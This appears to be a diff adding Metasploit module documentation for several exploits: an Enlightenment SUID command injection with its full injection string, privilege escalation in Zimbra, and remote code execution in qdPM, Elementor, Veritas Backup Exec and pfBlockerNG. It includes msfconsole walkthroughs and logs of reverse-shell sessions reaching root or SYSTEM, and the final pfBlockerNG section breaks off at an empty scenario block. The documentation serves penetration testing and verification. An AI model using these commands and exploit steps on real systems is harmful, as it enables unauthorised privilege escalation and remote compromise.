@@ -0,0 +1,124 @@
## Vulnerable Application
This module exploits a command injection within Enlightenment's
`enlightenment_sys` binary. This is done by calling the mount
command and feeding it paths which meet all of the system
requirements, but execute a specific path as well due to a
semi-colon being used.
This module was tested on Ubuntu 22.04.1 X64 Desktop with
enlightenment 0.25.3-1 (current at module write time)
### Install
At the time of writing, it was possible to `apt install enlightenment` to
get a vulnerable version.
### Main Command Explanation
The main exploit command will look similar to the following (using `/tmp/exploit` as the payload path example):
`/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net`
This can be broken down in to several parts:
1. `/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys`
2. `/bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u)`
3. `"/dev/../tmp/;/tmp/exploit"`
4. `/tmp///net`
The first part calls the vulnerable executable which has `suid` set to root.
The second portion is a standard mount, command. `enlightenment_sys` has a fork in the code
for `mount`, which has the vulnerability in it.
The third portion starts with `/dev/` to prevent the binary from exiting. It is wrapped in
double quotes, which are later removed by `enlightenment_sys` before running the command
resulting in the command injection.
Lastly `enlightenment_sys` checks that the last parameter is length 6, thus the extra `/`.
It then calls `stat64` on `/tmp///net` and we pass that check.
Now that all the checks have passed and the exploit code should go down the path to a `system`
call. Again, the quotes are removed around `"/dev/../tmp/;/tmp/exploit"` , allowing for the `;`
to be relevant and cause a command injection.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get a userland shell
4. Do: `use exploits/linux/local/ubuntu_enlightenment_mount_priv_esc`
5. Do: `set session #`
6. Set payload and options for payload as needed
7. Do: `run`
8. You should get a root shell.
## Options
### WritableDir
A directory which is writable to drop our payload in. Defaults to `/tmp`
## Scenarios
### Ubuntu 22.04.1 Desktop with Enlightenment 0.25.3-1
Step 1, get a userland shell
```
resource (enlightenment.rb)> use auxiliary/scanner/ssh/ssh_login
resource (enlightenment.rb)> set username ubuntu
username => ubuntu
resource (enlightenment.rb)> set password ubuntu
password => ubuntu
resource (enlightenment.rb)> set rhosts 192.168.2.31
rhosts => 192.168.2.31
resource (enlightenment.rb)> run
[*] 192.168.2.31:22 - Starting bruteforce
[+] 192.168.2.31:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux ubuntu2204desktop 5.15.0-43-generic #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.2.199:35675 -> 192.168.2.31:22) at 2022-10-01 10:02:53 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Step 2, run exploit
```
resource (enlightenment.rb)> use exploits/linux/local/ubuntu_enlightenment_mount_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (enlightenment.rb)> set session 1
session => 1
resource (enlightenment.rb)> set verbose true
verbose => true
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture:
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
[+] It's set for SUID
[+] The target appears to be vulnerable.
[*] Finding enlightenment_sys
[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
[+] It's set for SUID
[*] Writing '/tmp/.7n09J2bt6' (250 bytes) ...
[*] Max line length is 65537
[*] Writing 250 bytes in 1 chunks of 735 bytes (octal-encoded), using printf
[*] Creating folders for exploit
[+] Found binary: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
[+] It's set for SUID
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 192.168.2.31
[*] Meterpreter session 2 opened (192.168.2.199:4444 -> 192.168.2.31:54700) at 2022-10-01 10:03:12 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.2.31
OS : Ubuntu 22.04 (Linux 5.15.0-43-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,127 @@
## Vulnerable Application
Currently, as of 2022-10-14, all versions of Zimbra are vulnerable. Presumably
they'll patch it eventually - I reported it to Zimbra.
### Install Zimbra
My steps to install Zimbra (adapted from Christophe):
Create a VM with the following specs:
```
HDD = 128gb
Memory/etc don't matter
```
Install a local DNS server (note: replace `<ip>` with the host's actual ip)
(other note: replace `apt` with `yum` to do this on a Red Hat-derived system):
```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```
Configure the host to use it:
```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq # Seems to be required for Red Hat OSes
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```
Download Zimbra from
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll
have to sell your soul and opt-in to spam, but they don't validate your email.
```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh
* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```
## Verification Steps
Get a Meterpreter session on the Zimbra server as the `zimbra` user - I used
`exploit/linux/http/zimbra_cpio_cve_2022_41352` but just running a Meterpreter
binary is also fine. To become vulnerable to cve-2022-41352, just `rm $(which pax)`
then reboot.
From there,
You can obviously get a shell however you like. :)
Then:
1. Do: `use exploit/linux/local/zimbra_postfix_priv_esc`
1. Do: `set SESSION 1`
1. Do: `set RHOSTS <target>`
1. Do: `set LHOST <listenerip>`
1. Do: `exploit`
## Options
### SUDO_PATH
The path to `sudo` on the host. If we have a proper environment with `$PATH`
set, which we generally do, simply `sudo` is fine.
### ZIMBRA_BASE
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`,
and I'm not even sure if it _can_ install elsewhere, so this default should be
fine.
### WritableDir
A directory where we can write the payload - by default, `/tmp`.
### PayloadFilename
A specific filename to use as the payload, within `WritableDir`. By default,
it's randomized (with a `.` in front)
## Scenarios
### Escalating a `zimbra` session to `root`, after exploiting cve-2022-41352
```
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux zimbra @ mail.example.org 172.16.166.147:4444 -> 172.16.166.157:47210 (172.16.166.157)
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (3045348 bytes) to 172.16.166.157
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.GPjXSraCDY
[*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.GPjXSraCDY/.qjSY8
[*] Sending stage (3045348 bytes) to 172.16.166.157
[+] Deleted /tmp/.GPjXSraCDY
[*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14 13:19:25 -0700
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,69 @@
## Vulnerable Application
Mozilla Firefox before version 41 allowed users to install
unsigned browser extensions from arbitrary web servers.
This module dynamically creates an unsigned .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
As of Firefox 41, unsigned extensions can still be installed
on Firefox Nightly, Unbranded and Development builds when
configured with `xpinstall.signatures.required` set to `false`.
Note: this module generates legacy extensions which are
supported only in Firefox before version 57.
### Installation
Download an old Developer Edition (version 4 < 57) installer from:
* https://download-origin.cdn.mozilla.net/pub/devedition/releases/
Browse to `about:config` and set `xpinstall.signatures.required` to `false`.
Open Tools -> Options, search for "updates" and select "Never check for updates".
## Verification Steps
1. Start `msfconsole`
1. Do: `use exploit/multi/browser/firefox_xpi_bootstrapped_addon`
1. Do: `set SRVHOST [IP]`
1. Do: `run`
## Options
## Scenarios
### Firefox Developer Edition 56.0b9 on Windows 7 SP1 (x64) with xpinstall.signatures.required disabled
Run the module and load the web server URL in Firefox. Install the extension when prompted.
```
msf6 post(windows/gather/enum_domains) > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using URL: http://192.168.200.130:8080/Oj8qCs
[*] Server started.
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) >
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Redirecting request.
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending HTML response.
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.190:49861) at 2022-09-04 01:46:40 -0400
```
@@ -0,0 +1,111 @@
## Vulnerable Application
This module exploits a arbitrary file upload vulnerability in the qdPM web-based project manager software, in its 9.1 version. When updating a user's profile (POST `myAccount/update`), the user is allowed to upload a profile picture, which is stored in a known location under the web server root. The software fails to verify the picture input, allowing for the upload of any file, with any filename extension. This can be exploited by uploading a PHP script and invoking it by making a request to it.
The script will run with the same privileges as the web server.
The module has been tested against qdPM version 9.1
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/qdpm_authenticated_rce`
- [ ] `set EMAIL <email>`
- [ ] `set PASSWORD <password>`
- [ ] `set TARGETURI <target_uri>`
- [ ] `set RHOST <rhost>`
- [ ] `set RPORT <rport>`
- [ ] `exploit`
- [ ] Add SSL, Proxy, and VHOST options if needed.
- [ ] Verify that a new session is created.
## Options
**EMAIL**
[Required]
The email of the user you want to exploit the software with. The user must NOT be the original Admin (i.e. the account created upon installing qdPM, `admin@your_domain.com`). The original Admin user does not have the same attributes as the other user created later on, and its profile picture cannot be changed. In fact, it has no profile picure nor a `/myAccount` page altogether. If you only have credentials for the original admin, you can always login and create another regular user to run this exploit. Note that users with Admin role are also exploitable, only the one created upon installation is not.
**PASSWORD**
[Required]
The password of the user you are trying to exploit.
**TARGETURI**
The path qdPM lives at. This is only needed is qdPM is not served from the webserver root folder.
## Scenarios
As it can be shown by the following scenarios, the exploit works reliably against a variety of targets. The exploit, however, might fail when a large payload (i.e. stageless meterpreter) is selected.
**Attacking with a generic PHP payload, OS independed**
```
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set target Generic\ (PHP\ Payload)
target => Generic (PHP Payload)
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/qdpm_authenticated_rce) >> exploit
[*] Started reverse TCP handler on 192.168.2.177:4444
[*] Attempt to login with 'johndoe@localhost.com:easyone'
[*] Uploading PHP payload (1123 bytes)...
[*] Executing 'JGvak.php'
[*] Sending stage (39927 bytes) to 192.168.2.177
[!] Removing: 993379-JGvak.php
[*] Meterpreter session 2 opened (192.168.2.177:4444 -> 192.168.2.177:43816) at 2022-06-14 10:03:46 +0200
(Meterpreter 1)(/home/giacomo/qdPM/uploads/users) > getuid
Server username: www-data
```
## Installation
QDPM 9.1 relies on outdated software, and installing it can be quite nuanced. Please run the provided script to get the application set up together with a web server, the right version of PHP, and MySQL. This is tested on a fresh installation of Ubuntu Server 22.04.
```
apt install software-properties-common -y
add-apt-repository ppa:ondrej/php
apt update
apt install -y nginx php7.3-fpm php7.3-mysql php7.3-xml php7.3-gd mariadb-server unzip wget
systemctl enable --now mariadb.service php7.3-fpm.service
mysql -e "UPDATE mysql.user SET Password = PASSWORD('password') WHERE User = 'root'"
mysql -e "DROP USER ''@'$(hostname)'"
mysql -e "DROP DATABASE test"
mysql -e "FLUSH PRIVILEGES"
mysql -e "CREATE DATABASE qdpm_db default charset utf8"
mysql -e "CREATE USER 'user'@'localhost' IDENTIFIED BY 'pass'"
mysql -e "GRANT ALL PRIVILEGES ON qdpm_db.* TO 'user'@'localhost';"
cd /opt
wget https://www.exploit-db.com/apps/f922670e98bcbcff923d9bfaf430e669-qdPM_9.1.zip -O qdPM_9.1.zip
unzip -d /var/www/html/qdpm qdPM_9.1.zip
rm qdPM_9.1.zip
chown -R www-data:www-data /var/www/html/qdpm/
rm /etc/nginx/sites-available/default
rm /etc/nginx/sites-enabled/default
tee -a /etc/nginx/sites-available/default > /dev/null <<EOT
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html/qdpm/;
index index.php;
location / {
try_files \$uri /index.php\$is_args\$args;
}
location ~* \.php$ {
fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME \$realpath_root\$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT \$realpath_root;
}
error_log /var/log/nginx/qdpm_error.log;
access_log /var/log/nginx/qdpm_access.log;
}
EOT
ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/
systemctl start nginx.service
systemctl reload nginx.service
```
If the script runs successfully, you should have a webserver serving the application on port 80.
Visit the website to complete the installation via the web installer. It will ask you to fill in the database name, user, and password. Those will be `qdpm_db`, `user`, and `pass` respectively. Then, create a password for your `admin@localhost.com` account and login with it. You can now create a second user to run the exploit against.
@@ -0,0 +1,74 @@
## Vulnerable Application
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability
that allows any authenticated user to upload and execute any PHP file. This is achieved
by sending a request to install Elementor Pro from a user supplied zip file.
Any user with Subscriber or more permissions is able to execute this.
Tested against Elementor 3.6.1
### Plugin
Can be downloaded from https://wordpress.org/plugins/elementor/advanced/
## Verification Steps
1. Install the plugin, no configuration is required, just hit skip.
2. Start msfconsole
3. Do: `use exploits/multi/http/wp_plugin_elementor_auth_upload_rce`
4. Do: `set username [username]`
5. Do: `set password [password]`
6. Do: `set rhosts [ip]`
7. Do: `run`
8. You should get a shell.
## Options
### PASSWORD
The username for a user with subscriber or higher privileges
### PASSWORD
The username for a user with subscriber or higher privileges
## Scenarios
### Elementor 3.6.1 on Wordpress 5.7.7 on Ubuntu 20.04
```
resource (elementor.rb)> use exploits/multi/http/wp_plugin_elementor_auth_upload_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
resource (elementor.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (elementor.rb)> set username user
username => user
resource (elementor.rb)> set password user
password => user
resource (elementor.rb)> set verbose true
verbose => true
msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/elementor/readme.txt
[*] Found version 3.6.1 in the plugin
[+] The target appears to be vulnerable.
[*] Looking for nonce
[+] Nonce: cfb42a92ae
[*] Uploading upgrade payload and activating...
[*] Payload file name: elementor-pro.php
[*] Sending stage (39927 bytes) to 2.2.2.2
[+] Deleted ../wp-content/plugins/elementor-pro
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:33052) at 2022-10-02 15:56:35 -0400
[+] Payload Uploaded Successfully
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : wordpress2004
OS : Linux wordpress2004 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64
Meterpreter : php/linux
```
@@ -0,0 +1,272 @@
## Vulnerable Application
Backup Exec consists of a server component as well as remote agents that are
installed on each host that should be backed up by the server.
There are remote agents available for a range of data sources, including
operating-system level agents for Windows and Linux hosts' local filesystems,
application-specific agents for Microsoft Exchange, SharePoint, Active
Directory, etc., and agents for virtual machines such as VMware or Hyper-V
instances. This exploit targets the Windows and Linux OS-level remote agents.
The agents are installed as services running by default with
`NT AUTHORITY\SYSTEM` or `root` user rights for Windows and Linux respectively.
Vulnerable Backup Exec Remote Agent versions are 9.3 and below. These
agents' versions are distributed with Backup Exec versions 21.1 and below.
A trial version of Backup Exec can be downloaded from Veritas'
[website](https://www.veritas.com/form/trialware/backup-exec).
All supported version of Backup Exec is available in Veritas'
[download center](https://www.veritas.com/content/support/en_US/downloads/).
## Verification Steps
1. Download Backup Exec distributive and install Backup Exec Remote
Agent on Windows or Linux host.
2. Start `msfconsole`.
3. Select the module and set the address of the host running the remote agent:
```
use exploit/multi/veritas/beagent_sha_auth_rce
set RHOSTS [REMOTE_AGENT_HOST]
```
4. Check the service is running and potentially vulnerable with the `check`
command.
5. Set TARGET (Windows or Linux) depending on operating system on the host
running the remote agent:
```
set TARGET [OS_NAME]
```
6. Set and configure preferred payload:
```
set PAYLOAD [PAYLOAD_NAME]
set LHOST [LOCAL_IP]
set LPORT [LOCAL_PORT]
```
7. If Backup Exec Remote Agent run on the Linux then set preferred interpreter
to execute the command (by default, `/bin/bash`). The option does not matter
for Windows hosts since the command will always be executed using
`C:\Windows\System32\cmd.exe`.
```
set INTERPRETER [INTERPRETER_NAME]
```
8. Start the module using the `exploit` command.
9. Enjoy the received shell.
An example session is as follows:
```
msf6 > use exploit/multi/veritas/beagent_sha_auth_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.141
rhosts => 172.16.180.141
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248
lhost => 172.16.180.248
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > show options
Module options (exploit/multi/veritas/beagent_sha_auth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.180.141 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 10000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.180.248 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check
[*] 172.16.180.141:10000 - Checking vulnerability
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Getting supported authentication types
[*] 172.16.180.141:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 172.16.180.141:10000 - BE agent revision: 9.3
[*] 172.16.180.141:10000 - The target appears to be vulnerable. SHA authentication is enabled
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run
[*] Started reverse TCP handler on 172.16.180.248:4444
[*] 172.16.180.141:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.180.141:10000 - Checking vulnerability
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Getting supported authentication types
[*] 172.16.180.141:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 172.16.180.141:10000 - BE agent revision: 9.3
[+] 172.16.180.141:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 172.16.180.141:10000 - Exploiting ...
[*] 172.16.180.141:10000 - Connecting to BE Agent service
[*] 172.16.180.141:10000 - Enabling TLS for NDMP connection
[*] 172.16.180.141:10000 - Passing SHA authentication
[*] 172.16.180.141:10000 - Uploading payload with NDMP_FILE_WRITE packet
[*] Sending stage (175686 bytes) to 172.16.180.141
[*] Meterpreter session 1 opened (172.16.180.248:4444 -> 172.16.180.141:49629) at 2022-09-23 10:33:42 +0300
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
## Options
### INTERPRETER
The command line interpreter for executing Linux OS command. By default, the option is
`/bin/bash`. For Windows the option does not matter and the command will always be
executed using `C:\Windows\System32\cmd.exe`.
## Scenarios
The Backup Exec Remote Agent is installed on each host that has local filesystems
that should be backed up. These agents listen on the network for NDMP connections
(10000/tcp), appearing in Nmap scans with scripts enabled as follows:
```
$ nmap -p10000 -n 172.16.180.0/24 --open -vvv
...
Discovered open port 10000/tcp on 172.16.180.133
Discovered open port 10000/tcp on 172.16.180.132
Discovered open port 10000/tcp on 172.16.180.141
...
$ nmap -p10000 -n -sV 172.16.180.133
...
10000/tcp open ndmp Symantec/Veritas Backup Exec ndmp (NDMPv3)
...
```
(Note that the `ndmp-version` script fails to execute due to not sending an
`NDMP_CONNECT_OPEN` request before querying version information with the
`NDMP_CONFIG_GET_HOST_INFO` request. This exploit module's `check` command will
carry this query out successfully.)
### Windows; Backup Exec 21.0 (Backup Exec Remote Agent, revision 9.3)
```
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 192.168.123.147
rhosts => 192.168.123.147
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.147:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.123.147:10000 - Checking vulnerability
[*] 192.168.123.147:10000 - Connecting to BE Agent service
[*] 192.168.123.147:10000 - Getting supported authentication types
[*] 192.168.123.147:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5), SSPI (4)
[*] 192.168.123.147:10000 - BE agent revision: 9.3
[+] 192.168.123.147:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 192.168.123.147:10000 - Exploiting ...
[*] 192.168.123.147:10000 - Connecting to BE Agent service
[*] 192.168.123.147:10000 - Enabling TLS for NDMP connection
[*] 192.168.123.147:10000 - Passing SHA authentication
[*] 192.168.123.147:10000 - Uploading payload with NDMP_FILE_WRITE packet
[*] Sending stage (175686 bytes) to 192.168.123.147
[*] Meterpreter session 5 opened (192.168.123.1:4444 -> 192.168.123.147:49835) at 2022-09-22 15:23:19 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-BE1QFC9
OS : Windows 10 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.123.147 - Meterpreter session 1 closed. Reason: User exit
```
### Linux; Backup Exec 16.0 (Backup Exec Remote Agent, revision 9.2)
```
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.199.133
rhosts => 172.16.199.133
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set target 1
target => 1
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.133:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.133:10000 - Checking vulnerability
[*] 172.16.199.133:10000 - Connecting to BE Agent service
[*] 172.16.199.133:10000 - Getting supported authentication types
[*] 172.16.199.133:10000 - Supported authentication by BE agent: BEWS2 (190), SHA (5)
[*] 172.16.199.133:10000 - BE agent revision: 9.2
[+] 172.16.199.133:10000 - The target appears to be vulnerable. SHA authentication is enabled
[*] 172.16.199.133:10000 - Exploiting ...
[*] 172.16.199.133:10000 - Connecting to BE Agent service
[*] 172.16.199.133:10000 - Enabling TLS for NDMP connection
[*] 172.16.199.133:10000 - Passing SHA authentication
[*] 172.16.199.133:10000 - Uploading payload with CmdStager
[*] 172.16.199.133:10000 - Command Stager progress - 44.15% done (362/820 bytes)
[*] Sending stage (3020772 bytes) to 172.16.199.133
[*] 172.16.199.133:10000 - Command Stager progress - 100.00% done (820/820 bytes)
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.133:55062) at 2022-09-22 15:17:01 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : debian.test.com
OS : Debian 9.13 (Linux 4.9.0-19-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.16.199.133 - Meterpreter session 2 closed. Reason: User exit
```
### Windows; Backup Exec 21.2 (Backup Exec Remote Agent, revision 9.4) - NOT VULNERABLE
```
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > use exploit/multi/veritas/beagent_sha_auth_rce
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set rhosts 172.16.180.135
rhosts => 172.16.180.135
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > set lhost 172.16.180.248
lhost => 172.16.180.248
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > check
[*] 172.16.180.135:10000 - Checking vulnerability
[*] 172.16.180.135:10000 - Connecting to BE Agent service
[*] 172.16.180.135:10000 - Getting supported authentication types
[*] 172.16.180.135:10000 - Supported authentication by BE agent: BEWS2 (190), SSPI (4)
[*] 172.16.180.135:10000 - BE agent revision: 9.4
[*] 172.16.180.135:10000 - The target is not exploitable. SHA authentication is disabled
msf6 exploit(multi/veritas/beagent_sha_auth_rce) > run
[*] Started reverse TCP handler on 172.16.180.248:4444
[*] 172.16.180.135:10000 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.180.135:10000 - Checking vulnerability
[*] 172.16.180.135:10000 - Connecting to BE Agent service
[*] 172.16.180.135:10000 - Getting supported authentication types
[*] 172.16.180.135:10000 - Supported authentication by BE agent: BEWS2 (190), SSPI (4)
[*] 172.16.180.135:10000 - BE agent revision: 9.4
[-] 172.16.180.135:10000 - Exploit aborted due to failure: not-vulnerable: The target is not exploitable. SHA authentication is disabled "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/veritas/beagent_sha_auth_rce) >
```
@@ -0,0 +1,189 @@
## Vulnerable Application
### Description
This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated
attackers to execute execute arbitrary OS commands as root via shell meta characters in the HTTP Host header.
Versions <= 2.1.4_26 are vulnerable. Note that version 3.x is unaffected.
### Setup
Download the pfSense image:
`wget https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz`
To obtain a vulnerable copy of the pfBlockerNG plugin, you can build it from source from the [official pfSense github
repo](https://github.com/pfsense/FreeBSD-ports/tree/devel/net/pfSense-pkg-pfBlockerNG), or it can be downloaded from
the following link:
`wget https://files01.netgate.com/pkg/pfSense_plus-v21_09_aarch64-pfSense_plus_v21_09/All/pfSense-pkg-pfBlockerNG-2.1.4_26.pkg`
Install the .iso file in your favorite virtualizing software. You may need to use the `UEFI` or `BIOS` installation
options to install the software correctly. For testing, `BIOS` was used. You may also need to set the WAN settings.
For this you can just use the default or set it to `hn0` which should also be the default, and this will work fine for
testing purposes.
Once installed pfSense will start and you can access the web GUI by navigating to `https://<pfSense-IP-address>/`.
Sign into the application with username: `admin` password: `pfsense`
Now at the top of the screen select System -> Advanced. Scroll down to the section named Secure Shell and tick the box
beside `Enable Secure Shell`. Then click the `Save` button at the the bottom of the page to apply the changes.
From your host machine we can now transfer the vulnerable package to the pfSense VM using `scp`
`scp pfSense-pkg-pfBlockerNG-2.1.4_26.pkg root@<pfSense-IP-address>:/`
(the root password of the VM will be the same as the admin password: `pfsense`)
Install the vulnerable package with: `pkg install pfSense-pkg-pfBlockerNG-2.1.4_26.pkg`
## Options
### WEBSHELL_NAME
This is the name of the webshell that will get uploaded to the pfsense target sans the ".php" ending.
If left unset the file name will be randomly generated.
## Verification Steps
1. Start msfconsole
1. `use unix/http/pfsense_pfblockerng_webshell`
1. Set the `RHOST` and `LHOST` options
1. `exploit`
1. Receive a shell as the `root` user
## Scenarios
### pfSense 2.5.2-RELEASE with pfSense-pkg-pfBlockerNG-2.1.4_26.pkg installed
```
